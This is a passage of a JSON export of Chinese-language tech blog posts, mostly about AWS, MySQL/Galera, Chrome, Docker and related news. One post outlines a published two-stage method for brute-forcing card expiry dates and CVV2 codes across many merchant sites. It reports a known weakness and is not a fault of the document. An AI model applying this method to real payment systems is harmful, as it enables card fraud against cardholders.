    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人解釋了 <a href=\"http://galeracluster.com/\">Galera Cluster</a> 為什麼在某些情況下會需要 SST (整份重傳) 而不是 IST (傳最後造成差異的部分)，以及開發商在 3.19 版對應的改進：「<a href=\"https://www.percona.com/blog/2016/11/30/galera-cache-gcache-finally-recoverable-restart/\">Galera Cache (gcache) is finally recoverable on restart</a>」。\r\n\r\n原因在於 IST 所需要的記錄會在重開機時消失，所以當其他節點加入時沒辦法給，只好給 SST：\r\n\r\n<blockquote>The DONOR node caches missing write-sets in Galera cache, but on restart this cache is wiped clean and restarted fresh. So the DONOR node doesn’t have a Galera cache to donate missing write-sets.</blockquote>\r\n\r\n將 <code>gcache.recover</code> 這個參數打開後就會啟用記錄，另外也可以挑著開就好：\r\n\r\n<blockquote>The user can set this option for all nodes, or selective nodes, based on disk usage.</blockquote>\r\n\r\n另外最重要的是，之後的版本才會有，所以得繼續等...：\r\n\r\n<blockquote>And yes, Percona XtraDB Cluster inherits this feature in its upcoming release.</blockquote>",
    "title": "Galera Cluster 不必要的 SST 行為的改善"
  },
  {
    "id": "7003",
    "body": "所以 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 讓使用者在 edge 上跑程式了 (雖然目前是 limited preview)：「<a href=\"https://aws.amazon.com/blogs/aws/coming-soon-lambda-at-the-edge/\">Lambda@Edge – Preview</a>」。\r\n\r\n分成 Viewer Request、Origin Request、Origin Response 以及 Viewer Response 四個階段可以插入修改。另外有些限制：\r\n\r\n<blockquote>Because your JavaScript code will be part of the request/response path, it must be lean, mean, and self-contained. It cannot make calls to other web services and it cannot access other AWS resources. It must run within 128 MB of memory, and complete within 50 ms.</blockquote>\r\n\r\n要在 128MB 內搞定，而且不能呼叫其他資源。不過這樣已經可以做很多事了... 基本上就是一台 turing machine 了 :o",
    "title": "在 CloudFront 的 edge 上跑 Lambda"
  },
  {
    "id": "7004",
    "body": "這次 <a href=\"https://aws.amazon.com/\">AWS</a> 對 <a href=\"https://aws.amazon.com/mobile/\">Amazon Mobile</a> 收到的資料定義條件發出推播：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-pinpoint-hit-your-targets-with-aws/\">Amazon Pinpoint – Hit your Targets with AWS</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/W7YQB3a.webp\" /><img src=\"https://i.gslin.com/imgur/W7YQB3a.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NIISckn.webp\" /><img src=\"https://i.gslin.com/imgur/NIISckn.jpg\" alt=\"\" /></picture>\r\n\r\n功能是陽春了一些 (其他競爭對手應該還可以發 mail 之類的)，但以 AWS 的名字放出來，等於又殺了一票市場上還沒爬起來的競爭對手...",
    "title": "Amazon Pinpoint：對 Amazon Mobile 得到的資料設定條件發推播"
  },
  {
    "id": "7005",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 總算是把 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 推上 IPv6 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-ipv6-support-for-ec2-instances-in-virtual-private-clouds/\">New – IPv6 Support for EC2 Instances in Virtual Private Clouds</a>」。\r\n\r\n不過只有在 US East (Ohio) (<code>us-east-2</code>) 有，而且 <code>m3.*</code> 與 <code>g2.*</code> 目前都還不支援：\r\n\r\n<blockquote>IPv6 support for EC2 is now available in the US East (Ohio) Region and you can start using it today at no extra charge. It works with all current-generation EC2 instance types with the exception of M3 and G2, and will be supported on upcoming instance types as well.</blockquote>\r\n\r\n看得到吃不到 XDDD",
    "title": "VPC 環境下的 EC2 支援 IPv6"
  },
  {
    "id": "7006",
    "body": "更早之前就公告了，但剛剛才翻到：「<a href=\"https://aws.amazon.com/blogs/aws/aws-price-reduction-cloudwatch-custom-metrics/\">AWS Price Reduction – CloudWatch Metrics</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 從 2011 年這次的降幅算比較大的，最低的降幅都有 40%，而超過一萬個 metrics 的部分則是 80%，然後不同級距有不同降幅，最高到 96% (也就是原來的 4% 價錢)...\r\n\r\n<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 CloudWatch 用了七個 metrics，所以如果有開 CloudWatch 進階版本的情況下，價錢從 $3.50 降到 $2.10：\r\n\r\n<blockquote>If you have EC2 Detailed Monitoring enabled you will also see a price reduction with per-month charges reduced from $3.50 per instance per month to $2.10 or lower based on the volume tier.</blockquote>\r\n\r\n在服務金額裡面的量通常不會太大，不過這次降價不無小補...",
    "title": "CloudWatch 的降價"
  },
  {
    "id": "7007",
    "body": "從 <a href=\"https://www.hashicorp.com/\">HashiCorp</a> 這邊看到在 <a href=\"https://aws.amazon.com/\">AWS</a> 上跑 <a href=\"https://www.consul.io/\">Consul</a> 與 <a href=\"https://www.vaultproject.io/\">Vault</a> 的介紹文章：「<a href=\"https://www.hashicorp.com/blog/consul-and-vault-on-aws-quick-start-guides.html\">Consul and Vault on AWS: Quick Start Guides</a>」。\r\n\r\nConsul 負責 service discovery 與 health check (還有簡單的 key-value 功能)；Vault 則負責管理各種 secret (像是資料庫的帳號密碼之類的資訊)。\r\n\r\n這些資料分別可以在「<a href=\"https://aws.amazon.com/quickstart/architecture/consul/\">HashiCorp Consul on AWS</a>」與「<a href=\"https://aws.amazon.com/quickstart/architecture/vault/\">HashiCorp Vault on AWS</a>」看到，打開 PDF 後可以發現是 AWS 與 HashiCorp 的人合作生出來的文件，要在上面實作的人可以看一看，應該是可以少走冤枉路...",
    "title": "在 AWS 上跑 Consul 與 Vault 的介紹"
  },
  {
    "id": "7009",
    "body": "/*\nWelcome to Custom CSS!\n\nTo learn how this works, see http://wp.me/PEmnE-Bt\n*/\nbody {\n\tfont-family: sans-serif;\n}\n\ncode {\n\tbackground: #eee;\n\tpadding-left: .25em;\n\tpadding-right: .25em;\n}\n\nimg {\n\tmax-width: 100%;\n}\n\npre {\n\twhite-space: pre-wrap;\n\tword-break: break-all;\n\tword-wrap: break-word;\n}\n\n#content code, #content pre {\n\tfont-size: 1em;\n}\n\n#content blockquote {\n\tborder-left: 3px solid #eee;\n\tcolor: #555;\n\tfont-style: normal;\n\tmargin-left: 1em;\n\tpadding-left: 1em;\n}",
    "title": "twentyten"
  },
  {
    "id": "7010",
    "body": "前陣子 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 55 出了，其中最讓人期待的是對記憶體的改善，有人整理了數據：「<a href=\"https://www.prerender.cloud/blog/2016/12/03/chrome-memory-54-vs-55\">Chrome 55 uses ~30% less memory than Chrome 54</a>」。\r\n\r\n依照作者拿 <a href=\"https://weather.com/\">weather.com</a> 與 <a href=\"https://www.reddit.com/\">reddit.com</a> 測試，前者的記憶體省了 26%，後者省了 30%，都相當明顯。我自己在升到 55 後有明顯感覺到改善，尤其是重開 Chrome 時重新讀取頁面的速度也快了不少...\r\n\r\n這些改善主要是出自於「<a href=\"https://v8project.blogspot.com/2016/10/fall-cleaning-optimizing-v8-memory.html\">Fall cleaning: Optimizing V8 memory consumption</a>」這邊提到對 <a href=\"https://en.wikipedia.org/wiki/V8_(JavaScript_engine)\">V8 engine</a> 的改寫，我感覺到速度變快應該是記憶體用量降低使得 CPU cache rate 提高的關係吧...",
    "title": "Google Chrome 55 的記憶體改善"
  },
  {
    "id": "7012",
    "body": "在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/dspinellis/unix-history-repo\">dspinellis/unix-history-repo</a>」專案放進了 Unix 程式碼從 1970 年演進到 2016 年的記錄：\r\n\r\n<blockquote>The history and evolution of the Unix operating system is made available as a revision management repository, covering the period from its inception in 1970 as a 2.5 thousand line kernel and 26 commands, to 2016 as a widely-used 27 million line system.</blockquote>\r\n\r\n主要的目的是讓研究人員可以直接分析，減少重複的工作：\r\n\r\n<blockquote>The project aims to put in the repository as much metadata as possible, allowing the automated analysis of Unix history.</blockquote>\r\n\r\n後面的分支主要是以 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 為主：(在列表的部份也可以看到)\r\n\r\n<blockquote>It has been created by synthesizing with custom software 24 snapshots of systems developed at Bell Labs, the University of California at Berkeley, and the 386BSD team, two legacy repositories, and the modern repository of the open source FreeBSD system.</blockquote>\r\n\r\n整個 repository 頗壯觀的 XD",
    "title": "Unix 程式碼演進的記錄"
  },
  {
    "id": "7013",
    "body": "從「<a href=\"http://www.osnews.com/story/29509/You_can_now_try_merged_usr_in_Debian\">You can now try merged /usr in Debian</a>」這邊看到，早期因為硬碟空間比較小的關係，會切成 <code>/bin</code>、<code>/usr</code>、<code>/lib</code> 之類的目錄：\r\n\r\n<blockquote>The original impetus for requiring these directories was due to space limitations in the first Unix implementations, developers favoring the change point out.</blockquote>\r\n\r\n這個理由很明顯已經消失了，所以 <a href=\"https://www.debian.org/\">Debian</a> 就規劃要整併起來...",
    "title": "debootstrap 可以把所有檔案都裝到 /usr 下了"
  },
  {
    "id": "7014",
    "body": "在「<a href=\"https://www.schneier.com/blog/archives/2016/12/guessing_credit.html\">Guessing Credit Card Security Details</a>」這邊看到的攻擊手法，基本上無解，除非信用卡的網路交易也全面改成使用晶片...\r\n\r\n手法其實很簡單，就是先算出一個合法的卡號，然後分兩階段攻擊取得資訊：\r\n\r\n<ul>\r\n\t<li>先去找數家只需要「卡號 + 日期」的網站，用暴力法踹出日期 (假設五年就是 60 次)。</li>\r\n\t<li>再去找數十家需要「卡號 + 日期 + CVV2」的網站，用暴力法踹出 CVV2 (1000 次)。</li>\r\n</ul>\r\n\r\n所以 1060 次就擺平了... 就算所有網站都需要 CVV2，也是 60000 次的嘗試而已 (找數千個網站來踹)，算是完全可行的方案。而目前只能靠 workaround 來防止，像是需要多輸入姓名與地址之類的資訊來擋...",
    "title": "信用卡的先天缺陷造成盜刷問題"
  },
  {
    "id": "7015",
    "body": "<a href=\"https://vaultpress.com/\">VaultPress</a> 是 <a href=\"https://wordpress.org/\">WordPress</a> 的付費服務，可以備份自己架設的 WordPress 站台。\r\n\r\n剛剛看到新的方案出爐了：「<a href=\"https://blog.vaultpress.com/2016/12/09/announcing-simpler-more-affordable-pricing/\">Announcing Streamlined Plans — at Lower Prices</a>」，<a href=\"https://jetpack.com/install/personal/\">Jetpack Personal</a> 將本來的 VaultPress Lite 包在內，但是價錢更低了：\r\n\r\n<blockquote>At $3.50 per month, the Jetpack Personal plan includes everything the old VaultPress Lite plan used to — at a price that’s 30% lower.</blockquote>\r\n\r\n有在用的人記得進去更改方案，另外要注意生效時間，等原來 Lite 快到期再改。",
    "title": "VaultPress 的新方案"
  },
  {
    "id": "7016",
    "body": "如同之前在「<a href=\"https://blog.gslin.org/archives/2016/09/09/6823/google-chrome-56-%E5%B0%87%E6%9C%83%E5%B0%8D-http-%E7%B6%B2%E7%AB%99%E6%A8%99%E7%A4%BA%E3%80%8Cnot-secure%E3%80%8D/\">Google Chrome 56 將會對 HTTP 網站標示「Not secure」</a>」提到的規劃，<a href=\"https://www.google.com/chrome\">Google Chrome</a> 56 (也就是下一個版本) 將會對要求卡號或是密碼的站台標示「Not Secure」：「<a href=\"https://blog.chromium.org/2016/12/chrome-56-beta-not-secure-warning-web.html\">Chrome 56 Beta: “Not Secure” warning, Web Bluetooth, and CSS position: sticky</a>」。\r\n\r\n比較九月的 screenshot 與最近的 screenshot，從「Not secure」變成「Not Secure」了... 這是九月的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5SsCwu1.webp\" /><img src=\"https://i.gslin.com/imgur/5SsCwu1.jpg\" alt=\"\" /></picture>\r\n\r\n而這是最近的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/d8SHWJv.webp\" /><img src=\"https://i.gslin.com/imgur/d8SHWJv.jpg\" alt=\"\" /></picture>\r\n\r\n可能是這樣標示會讓使用者更有警覺？",
    "title": "下一個版本的 Chrome (56) 將會對要求卡號或是密碼的 HTTP 站台標示「Not Secure」"
  },
  {
    "id": "7017",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2016/11/10/database-daily-ops-series-gtid-replication/\">Database Daily Ops Series: GTID Replication</a>」這篇在講當 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 GTID Replication 爛掉時可能的修法，算是頗惡搞的方法，修好後還是要跑 <a href=\"https://www.percona.com/doc/percona-toolkit/2.2/pt-table-checksum.html\">pt-table-checksum</a> 確認兩邊的資料是否一致，如果有狀況的話還是得拿出 <a href=\"https://www.percona.com/doc/percona-toolkit/2.2/pt-table-sync.html\">pt-table-sync</a> 同步。\r\n\r\n第一招是用 <a href=\"https://www.percona.com/doc/percona-toolkit/2.2/pt-slave-restart.html\">pt-slave-restart</a>，跳過會造成問題 SQL，讓他強制同步 (唔)：\r\n\r\n<blockquote>This passes the master’s UUID and it skips all global transactions breaking replication on a specific slave server[.]</blockquote>\r\n\r\n第二招是 <a href=\"https://dev.mysql.com/doc/mysql-utilities/1.6/en/mysqlslavetrx.html\">mysqlslavetrx</a>，也是類似的作法，只是拿的是 MySQL 官方的工具來惡搞...\r\n\r\n第三招是 Inject a Fake Transaction，其實就是手動自己做 XDDD\r\n\r\n所以不管是哪招，做完後還是要記得跑 <code>pt-table-{checksum,sync}</code> 收尾，不然還是會爛掉...",
    "title": "MySQL GTID Replication 的惡搞修復"
  },
  {
    "id": "7018",
    "body": "用 <a href=\"https://trac.edgewall.org/\">Trac</a> 時常遇到的問題之一：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Yen91ot.webp\" /><img src=\"https://i.gslin.com/imgur/Yen91ot.jpg\" alt=\"\" /></picture>\r\n\r\n當 button 按的「不夠中間」的時候就不會有效。原因是按下去後會觸發物件偏移，如果你按到比較邊邊的地方就會失效：\r\n\r\n<pre>input[type=button]:active, input[type=submit]:active,\r\ninput[type=reset]:active {\r\n position: relative;\r\n top: .1em;\r\n left: .1em;\r\n}</pre>\r\n\r\n解法就是在 template 加上：\r\n\r\n<pre>input[type=button]:active, input[type=submit]:active, input[type=reset]:active {\r\n    top: 0;\r\n    left: 0;\r\n}</pre>\r\n\r\n讓他不要亂跑就沒事了...",
    "title": "Trac 的 button 有時候按下去不會生效的問題..."
  },
  {
    "id": "7019",
    "body": "在「<a href=\"https://lowendbox.com/blog/vmbox-co-2gb-ovz-w-2-free-wildcare-ssl-5m/\">VMBox.co – 2GB OVZ w/ 2 Free Wildcare SSL @ $5/m</a>」這邊看到的，租 VPS 送兩個 wildcard SSL certificate：\r\n\r\n<blockquote>Up to 2 free wildcard SSL available per VPS order in Phoenix or Amsterdam. SSL only to be used on Singlehop network.</blockquote>\r\n\r\n點進去看之後可以看到說明：\r\n\r\n<blockquote>WildCard AlphaSSL Certificate - $0.00 USD Free Account\r\nPlease note these SSL's are only to be used on our network. They won't be guaranteed if used elsewhere.</blockquote>\r\n\r\n不過除了 revoke 以外，想不到其他方式... 所以只要有合約在應該都是生效的？\r\n\r\n如果是這樣的話，USD$40/year 就可以買兩個 wildcard SSL certificate 了？比起現在的各家 wildcard SSL certificate 都還便宜...",
    "title": "奇怪的 Wildcard SSL 取得方式..."
  },
  {
    "id": "7020",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人寫了一份文件，以 <a href=\"https://dev.mysql.com/\">MySQL</a> DBA 的角度說明兩者在 replication 上的差異，然後示範怎麼在單機上架起三個 <a href=\"https://www.mongodb.com/\">MongoDB</a> 並且設定 replica-set：「<a href=\"https://www.percona.com/blog/2016/12/07/first-mongodb-replica-set-configuration-for-mysql-dbas/\">First MongoDB replica-set Configuration for MySQL DBAs</a>」。\r\n\r\n這邊文章拿的是 <a href=\"https://www.percona.com/software/mongo-database/percona-server-for-mongodb\">Percona Server for MongoDB</a>，不過應該也還行，並竟是拿 MongoDB 3.2 改的，而不是完全重寫，所以裡面的步驟拿到原版的 MongoDB 上應該也行...\r\n\r\n可以拿 <a href=\"https://www.docker.com/\">Docker</a> 或是在 <a href=\"https://aws.amazon.com/\">AWS</a> 開一台 <code>t2.medium</code> 測試玩看看...",
    "title": "MongoDB 的 replica-set 設定"
  },
  {
    "id": "7021",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的人再次更新了演算法，將下載的量再次減少，從本來的 47% 降到 65%：「<a href=\"https://android-developers.blogspot.com/2016/12/saving-data-reducing-the-size-of-app-updates-by-65-percent.html\">Saving Data: Reducing the size of App Updates by 65%</a>」。\r\n\r\n今年七月的時候，更新演算法導入了 <a href=\"http://www.daemonology.net/bsdiff/\">bsdiff</a>，使得本來要抓整包 APK 的量，變成抓 diff 的部份，這使得下載的流量降了 47%：「<a href=\"https://android-developers.blogspot.com/2016/07/improvements-for-smaller-app-downloads.html\">Improvements for smaller app downloads on Google Play</a>」。\r\n\r\n<blockquote>Using bsdiff, we were able to reduce the size of app updates on average by 47% compared to the full APK size.</blockquote>\r\n\r\n現在則改成不直接對 APK 做 diff，而是對未壓縮的檔案做，再把差異包起來，則可以降到 65%：\r\n\r\n<blockquote>Today, we're excited to share a new approach that goes further — File-by-File patching. App Updates using File-by-File patching are, on average, 65% smaller than the full app, and in some cases more than 90% smaller.</blockquote>\r\n\r\n主要的原因在於 APK 的壓縮使用的 <a href=\"https://en.wikipedia.org/wiki/DEFLATE\">DEFLATE</a> 演算法對於變更非常敏感，改變一個字元就會讓後續整串都改變，導致差異很大而跑 diff algorithm 的效果不好：\r\n\r\n<img src=\"https://i.gslin.com/imgur/8Vn8HG5.gif\" alt=\"\" />\r\n\r\n用 File-by-File 的好處主要來自於是對未壓縮的檔案比較差異，這代表沒有變動的檔案完全不會進來攪和，而對 binary 檔案的效果也比較好 (大部份的程式碼還是一樣)。不過這對於已經有壓縮的圖片的效果就比較差了，這也是 APK 一般肥大常見的原因。\r\n\r\n有兩件事情值得注意的，一個是 Google 的人為了使用者體驗，只有在 auto update 時才會走 File-by-File 的更新，主要原因是 File-by-File 的解開速度慢不少：\r\n\r\n<blockquote>For now, we are limiting the use of this new patching technology to auto-updates only, i.e. the updates that take place in the background, usually at night when your phone is plugged into power and you're not likely to be using it. This ensures that users won't have to wait any longer than usual for an update to finish when manually updating an app.</blockquote>\r\n\r\n另外一個是，這個新方式讓 Google 每天省下 6PB 的流量，如果流量都是平均打散的話，大約是 600Gbps：\r\n\r\n<blockquote>The savings, compared to our previous approach, add up to 6 petabytes of user data saved per day!</blockquote>\r\n\r\n這種規模改善起來很有感覺 XDDD",
    "title": "Google 再次改善 Android 的 APK 更新，讓下載的量更小"
  },
  {
    "id": "7023",
    "body": "由於想把一些東西隔離放到 <a href=\"https://www.docker.com/\">Docker</a> 裡跑，所以找了些資料看看怎麼做。\r\n\r\n在「<a href=\"http://fabiorehm.com/blog/2014/09/11/running-gui-apps-with-docker/\">Running GUI apps with Docker</a>」這邊講了怎麼在 Docker 裡面跑 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a>，不過在我的電腦上有狀況 (跑起來沒問題，但開網頁後 Firefox 就會 crash)，也許再找時間看看吧...\r\n\r\n不過這邊學到了把 X11 的相關資源丟進去的方式：\r\n\r\n<pre>docker run -ti --rm \\\r\n       -e DISPLAY=$DISPLAY \\\r\n       -v /tmp/.X11-unix:/tmp/.X11-unix \\\r\n       firefox</pre>\r\n\r\n不過畢竟是把整個 X11 資源都暴露進去了，技術上並不安全，只能跑一些大公司的程式，這些公司至少不能明目張膽的把 screenshot 一直傳回去... (還是其實都有做？@_@)\r\n\r\n另外是 <a href=\"https://www.skype.com/\">Skype</a>，之前在「<a href=\"https://blog.gslin.org/archives/2016/09/03/6802/%E7%94%A8-docker-%E8%B7%91-skype-%E8%AC%9B%E9%9B%BB%E8%A9%B1/\">用 Docker 跑 Skype 講電話</a>」這邊就有提過了。而另外一個是「<a href=\"https://github.com/tomparys/docker-skype-pulseaudio\">tomparys/docker-skype-pulseaudio</a>」。但之前發現中文字型都還是有問題，也續要看看他們的 <code>Dockerfile</code> 怎麼寫，然後自己再改一下，把中文的部份包進去...\r\n\r\n然後是 <a href=\"https://www.dropbox.com/\">Dropbox</a>，在經過「<a href=\"http://www.macrumors.com/2016/09/12/dropbox-responds-to-mac-security-risk-accusations/\">Dropbox Responds to Mac 'Security Risk' Accusations [Updated]</a>」事件以後，還是把 Dropbox 放進 Docker 裡面比較好... 這邊用 <a href=\"https://www.google.com/\">Google</a> 找 <code>docker dropbox</code> 東西就不少，主要還是看 Dockerfile 來自己改。",
    "title": "在 Docker 裡面跑 GUI 程式"
  },
  {
    "id": "7026",
    "body": "剛剛看到 <a href=\"https://cloudfront.debian.net/\">Debian Mirrors via CloudFront</a> 這個，原來 <a href=\"https://aws.amazon.com/\">AWS</a> 幫忙付掉了：\r\n\r\n<blockquote>This service is kindly hosted by and paid for by Amazon Web Services, and we thank them for their contribution to Debian.</blockquote>\r\n\r\n翻了 mailing list 發現是在 2013 年五月的時候弄出來的：「<a href=\"https://lists.debian.org/debian-cloud/2013/05/msg00066.html\">Debian archive distribution via CloudFront CDN</a>」。",
    "title": "Debian 的 CloudFront"
  },
  {
    "id": "7028",
    "body": "之前 <a href=\"https://aws.amazon.com/\">AWS</a> 的多帳號管理只是合併計費，要自己在不同帳號內設一堆 Role 互相切換，現在可以透過 <a href=\"https://aws.amazon.com/organizations/\">AWS Organizations</a> 掛起來一起管理了：「<a href=\"https://aws.amazon.com/blogs/security/announcing-aws-organizations-centrally-manage-multiple-aws-accounts/\">Announcing AWS Organizations: Centrally Manage Multiple AWS Accounts</a>」。\r\n\r\n現在還在 Preview，不過可以看到一些說明：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9FfTAJb.webp\" /><img src=\"https://i.gslin.com/imgur/9FfTAJb.jpg\" alt=\"\" /></picture>\r\n\r\n另外原來的計費管理 (consolidated billing) 也會轉移過去：\r\n\r\n<blockquote>Note: If you currently use Consolidated Billing, your Consolidated Billing family is migrated automatically to AWS Organizations in Billing mode, which is equivalent to Consolidated Billing. All account activity charges accrued by member accounts are billed to the master account.</blockquote>",
    "title": "AWS Organizations：多帳號的管理"
  },
  {
    "id": "7029",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 前陣子宣佈了 two-tier 架構：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/11/announcing-regional-edge-caches-for-amazon-cloudfront/\">Announcing Regional Edge Caches for Amazon CloudFront</a>」。\r\n\r\n一般的 CDN 是 edge 收到後就打到 origin，這會使得 origin 的量比較大。而 two-tier 架構則是在中間疊一層降低對 origin 的量。這種架構對於直播時的 pattern 幫助很大：由於量很大，會需要用大量的 edge server 支撐，而 edge server 一多就對 origin 產生巨大的壓力。\r\n\r\n一般直播 95% 的 hitrate 表示外面 20Gbps 的流量就會造成 origin 1Gbps 的流量，通常用 two-tier 可以拉到 98%+ (CDN vendor 有調整過可以到 99%+)。\r\n\r\n這種技術在 <a href=\"https://www.akamai.com/\">Akamai</a> 叫 Tiered Distribution，在 <a href=\"https://www.edgecast.com/\">EdgeCast</a> 叫 SuperPoP，而現在 CloudFront 也推出了，叫做 Regional Edge Cache：\r\n\r\n<blockquote>The nine new Regional Edge Cache locations are in Northern Virginia, Oregon, São Paulo, Frankfurt, Singapore, Seoul, Tokyo, Mumbai, and Sydney.</blockquote>\r\n\r\nedge 會先到這幾個 regional edge 再到 origin：\r\n\r\n<blockquote>These locations sit between your origin webserver and the 68 global edge locations that serve traffic directly to your viewers. </blockquote>\r\n\r\n然後預設都開啟了，沒有額外費用：\r\n\r\n<blockquote>Regional Edge Caches are turned on by default for your CloudFront distributions; you do not need to make any changes to your distributions to take advantage of this feature. There are also no additional charges to use this feature.</blockquote>\r\n\r\n不過這個架構對於 latency 應該不會太好，沒得關閉有點奇怪...",
    "title": "CloudFront 的 Regional Edge Caches"
  },
  {
    "id": "7030",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 加拿大機房，代碼 <code>ca-central-1</code>：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-canada-central-region/\">Now Open AWS Canada (Central) Region</a>」。\r\n\r\n這麼大的消息沒有在 <a href=\"https://reinvent.awsevents.com/\">re:Invent</a> 一起上線有點怪，是趕不及嗎？還是因為川普當選所以趕快提供？(逃)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/th3qGxH.webp\" /><img src=\"https://i.gslin.com/imgur/th3qGxH.jpg\" alt=\"\" /></picture>\r\n\r\n接下來的規劃是機房是英國的倫敦、法國的巴黎與中國的寧夏...",
    "title": "AWS 加拿大機房"
  },
  {
    "id": "7031",
    "body": "以往要取得 <a href=\"https://aws.amazon.com/\">AWS</a> 的稽核報告都必須簽署 NDA 並透過 support ticket 取得 (或是找窗口拿)，現在 AWS 把這件事情做成一個服務：「<a href=\"https://aws.amazon.com/blogs/security/introducing-aws-artifact-speeding-access-to-compliance-reports/\">Introducing AWS Artifact: Speeding Access to Compliance Reports</a>」。\r\n\r\n服務叫做 <a href=\"https://aws.amazon.com/artifact/\">AWS Artifact</a>，還是要簽保密協議，不過電子化了：\r\n\r\n<blockquote>You can start downloading the audit reports in the AWS Management Console today. Many of the documents are confidential and require you to accept Amazon’s confidentiality terms and conditions, but after you review and agree to those terms, you will be granted instant access to review documents.</blockquote>\r\n\r\n這樣取得資料就可以透過系統直接拉出來了：\r\n\r\n<blockquote>To document the current and historical compliance of the AWS infrastructure and services, many AWS customers provide compliance reports—including those for ISO, SOC, and PCI—to their auditors or regulators.</blockquote>",
    "title": "AWS 的稽核報告服務：AWS Artifact"
  },
  {
    "id": "7032",
    "body": "不愧是 <a href=\"https://www.oracle.com/\">Oracle</a> 的 MySQL Community Manager，把對手的 <a href=\"http://galeracluster.com/\">Galera Cluster</a> 講的一無是處 XDDD：「<a href=\"http://lefred.be/content/group-replication-vs-galera/\">Group Replication is GA with MySQL 5.7.17 – comparison with Galera</a>」。\r\n\r\n然後下面 comment 的地方 <a href=\"https://smalldatum.blogspot.com/\">Mark Callaghan</a> (@<a href=\"https://www.facebook.com/\">Facebook</a>) 出來提 Galera Cluster 架構中 arbitrator 的好處，另外 Sergei Petrunia (@<a href=\"https://mariadb.org/\">MariaDB</a>) 也出來糾正抹黑對手的 <a href=\"https://en.wikipedia.org/wiki/Fear,_uncertainty_and_doubt\">FUD</a> (講 Galera Cluster 的 protocol 是 \"proprietary\")，不知道還會不會其他人跳進來...\r\n\r\n另外文章裡面看起來也怪怪的，像是 Group Replication 在 InnoDB 上的作法真的能解決他說的問題嗎... conflict 把有問題的 transaction 砍掉不是很合理嗎？設計個 high priority transaction 是怎樣...\r\n\r\n來繼續觀望看看就好，Galera Cluster 的成熟度還是很高的... 也許等到其他幾家也決定把 Group Replication 放進支援再說吧。",
    "title": "Oracle 的人講 MySQL 5.7 最新出的 Group Replication"
  },
  {
    "id": "7033",
    "body": "<a href=\"https://slack.com/\">Slack</a> 支援 video call 與 video conference 了：「<a href=\"https://slackhq.com/slack-calls-now-with-100-more-video-50bf365a0d98\">Slack Calls: Now with 100% more video</a>」。\r\n\r\n六月的時候推出 Voice 功能 (<a href=\"https://slackhq.com/calls-come-to-slack-ad333ce98acf\">Calls come to Slack</a>)，半年後推出 Video 功能，還算不錯的開發速度？",
    "title": "Slack 支援 Video Call/Conference"
  },
  {
    "id": "7036",
    "body": "在「<a href=\"https://www.percona.com/resources/technical-presentations/mongodb-system-tuning-best-practices-percona-mongodb-webinar\">MongoDB System Tuning Best Practices</a>」這份投影片裡面看到：\r\n\r\n<blockquote>To avoid disk-based swap: 1 (not zero!)</blockquote>\r\n\r\n以及：\r\n\r\n<blockquote>‘0’ can cause unpredicted behaviour</blockquote>\r\n\r\n在 kernel 的說明文件是這樣描述，設成 <code>0</code> 時表示只有在避免 oom 時才會 swap：\r\n\r\n<blockquote>This control is used to define how aggressive the kernel will swap memory pages.  Higher values will increase agressiveness, lower values decrease the amount of swap.  A value of 0 instructs the kernel not to initiate swap until the amount of free and file-backed pages is less than the high water mark in a zone.</blockquote>\r\n\r\n設成 <code>1</code> 的想法頗有趣的，來看看在 <a href=\"https://dev.mysql.com/\">MySQL</a> 上是不是也有同樣的情況要注意...",
    "title": "vm.swappiness 設成 1 或是 0 的差異"
  },
  {
    "id": "7039",
    "body": "如同先前規劃的時程，<a href=\"https://aws.amazon.com/\">AWS</a> 的英國區正式開放 (代碼 <code>eu-west-2</code>)：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-london-region/\">Now Open – AWS London Region</a>」。\r\n\r\n這樣歐洲也有三個區可以用了 (另外兩個是法國與愛爾蘭)，不過如果要進歐洲東部低區的話，不知道要挑哪一個點比較好...",
    "title": "AWS 英國區開放使用"
  },
  {
    "id": "7040",
    "body": "由歐盟主導的 <a href=\"http://galileognss.eu/\">Galileo</a> 系統宣布啟用，提供早期服務 (Early Operational Capability)：「<a href=\"http://www.dw.com/en/galileo-navigation-satellite-system-goes-live/a-36422029\">Galileo navigation satellite system goes live</a>」。預定的 30 顆衛星已經打了 18 顆上去：\r\n\r\n<blockquote>At this point, 18 of the planned 30 satellites are already in orbit.</blockquote>\r\n\r\n在一般的使用下精確度可以到 4 公尺，相較於 GPS 是 15 公尺高出不少：\r\n\r\n<blockquote>Using GPS, private users can navigate with a precision of up to 15 meters (m). Galileo offers a precision of up to 4m for its fully open service.</blockquote>\r\n\r\n而商用與軍用可以到公分等級：\r\n\r\n<blockquote>Commercial users and official government services can even receive a precision of a few centimeters. This is important, for example, for fully or partially automated planes, cars or ships.</blockquote>\r\n\r\n之後應該會有同時支援兩套系統的設備出來... 